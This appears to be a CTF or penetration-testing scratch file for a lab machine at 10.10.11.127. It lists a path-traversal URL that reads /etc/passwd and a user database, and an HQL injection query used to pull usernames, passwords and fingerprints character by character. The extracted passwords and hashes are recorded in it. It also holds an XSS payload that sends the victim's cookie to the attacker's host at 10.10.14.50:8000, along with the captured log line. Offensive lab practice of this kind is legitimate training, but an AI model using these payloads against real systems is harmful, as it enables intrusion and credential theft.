Found LFI : http://10.10.11.127/admin/view/../../etc/passwd
Found password of login page on :80 => http://10.10.11.127/admin/view/../../home/flask/app/users.db
Found HQL injection on login page :8080
something intersting in http://10.10.11.127/admin/view/auth.log => loged of login page on :8080
Query : test'+or+SUBSTR(username/password/fingerprint,1,1)='X
fingerprint:
99cd639f9e163767115029a31acd97bfa19344b6202ac0b8bdd586e46f436666
7ef52c251f8044cb187013992891d0e58ce9194de7f535b1b4fa6bbfe08678f6
password:
lwG7guR1eMx7uNxSJXQz
o9vb0kb9kuzj1dtxzlv8
username:
admin
micheal1235
Found something intersting on IP:8080/upload => dose not accept get request only post request !
to do : 
try to upload file => IP:8080/upload maybe need to fuzz parameter 
I got cookie from XSS on auth.log with this paylaod : <script>var i=new Image;i.src="http://10.10.14.50:8000/?"+document.cookie;</script>
10.10.11.127 - - [15/Dec/2021 05:45:05] "GET /?user_id=49f5f0062780bed62dc06bf4a8d2dd9cb5c3fda50e19a5a840262c26c001bb0338550635d9fd36fef81113d9fbd15805193308e099ee214406b0a87c0b6587fb